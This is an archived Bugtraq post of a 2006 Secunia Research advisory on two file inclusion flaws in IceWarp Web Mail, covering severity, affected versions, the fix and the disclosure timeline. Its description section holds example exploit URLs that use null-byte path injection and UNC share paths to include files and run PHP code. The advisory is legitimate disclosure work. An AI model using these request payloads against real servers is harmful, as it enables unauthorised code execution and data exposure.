lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 17 Jul 2006 09:10:58 +0200
From: Secunia Research <remove-vuln@...unia.com>
To: vuln@...unia.com
Cc: bugtraq@...urityfocus.com
Subject: Secunia Research: IceWarp Web Mail Two File Inclusion
	Vulnerabilities

====================================================================== 

                     Secunia Research 17/07/2006

      - IceWarp Web Mail Two File Inclusion Vulnerabilities -

====================================================================== 
Table of Contents

Affected Software....................................................1
Severity.............................................................2
Description of Vulnerability.........................................3
Solution.............................................................4
Time Table...........................................................5
Credits..............................................................6
References...........................................................7
About Secunia........................................................8
Verification.........................................................9

====================================================================== 
1) Affected Software 

* Merak Mail Server version 8.3.8.r with IceWarp Web Mail 5.6.0.

Other versions may also be affected.

====================================================================== 
2) Severity 

Rating: Highly Critical
Impact: System access
        Exposure of sensitive information
Where:  Remote

====================================================================== 
3) Description of Vulnerability

Secunia Research has discovered two vulnerabilities in IceWarp Web
Mail, which can be exploited by malicious users and by malicious
people to disclose potentially sensitive information and compromise
a vulnerable system.

1) Input passed to the "language" and "lang_settings" parameters in
"/accounts/inc/include.php" and "/admin/inc/include.php" is not
properly sanitised by the "securepath()" function before being used to
include files. This can be exploited to include arbitrary files from
local resources on the Windows platform using full pathnames.  This
can further be exploited to execute arbitrary PHP code by injecting
the code into the mail server's log file and including it.

Example:
http://[host]:32000/admin/inc/include.php?
language=0&lang_settings[0][1]=c:\[file]%00

The vulnerability is related to #5 in:
SA17046

Successful exploitation allows execution of arbitrary PHP code on
a vulnerable server without requiring authentication.

2) Input passed to the "language" parameter in "/mail/settings.html"
is not properly validated before being saved to the database. This 
can be exploited in conjunction with overwrite of the "lang_settings"
variable, which is not properly sanitised by the "validatefolder()"
function, to include arbitrary files from local resources using
full pathnames and from remote Windows shared folders using UNC
pathnames.

Examples:
http://[host]:32000/mail/settings.html?
id=[current_id]&Save_x=1&language=TEST
http://[host]:32000/mail/index.html?
id=[curent_id]&lang_settings[TEST]=test;
&lang_settings[TEST]=test;c:\[file]%00;
http://[host]:32000/mail/index.html
?id=[curent_id]&lang_settings[TEST]=test;
&lang_settings[TEST]=test;\\[host]\[share]\[file]%00;

Successful exploitation allows execution of arbitrary PHP code on a
vulnerable server but requires a valid logon.

The vulnerability is related to #7 in:
SA17046

====================================================================== 
4) Solution 

Update to version 8.3.8.r with IceWarp Web Mail 5.6.1.

====================================================================== 
5) Time Table 

21/02/2006 - Initial vendor notification.
22/02/2006 - Initial vendor reply and fixed version released.
17/07/2006 - Public disclosure.

====================================================================== 
6) Credits 

Discovered by Tan Chew Keong, Secunia Research.

====================================================================== 
7) References

SA17046:
http://secunia.com/advisories/17046/

The Common Vulnerabilities and Exposures (CVE) project has assigned
CVE-2006-0817 (#1) and CVE-2006-0818 (#2) for the vulnerabilities.

====================================================================== 
8) About Secunia 

Secunia collects, validates, assesses, and writes advisories regarding 
all the latest software vulnerabilities disclosed to the public. These 
advisories are gathered in a publicly available database at the 
Secunia website: 

http://secunia.com/

Secunia offers services to our customers enabling them to receive all 
relevant vulnerability information to their specific system 
configuration. 

Secunia offers a FREE mailing list called Secunia Security Advisories: 

http://secunia.com/secunia_security_advisories/

====================================================================== 
9) Verification 

Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2006-12/advisory/

Complete list of vulnerability reports published by Secunia Research:
http://secunia.com/secunia_research/

======================================================================



Powered by blists - more mailing lists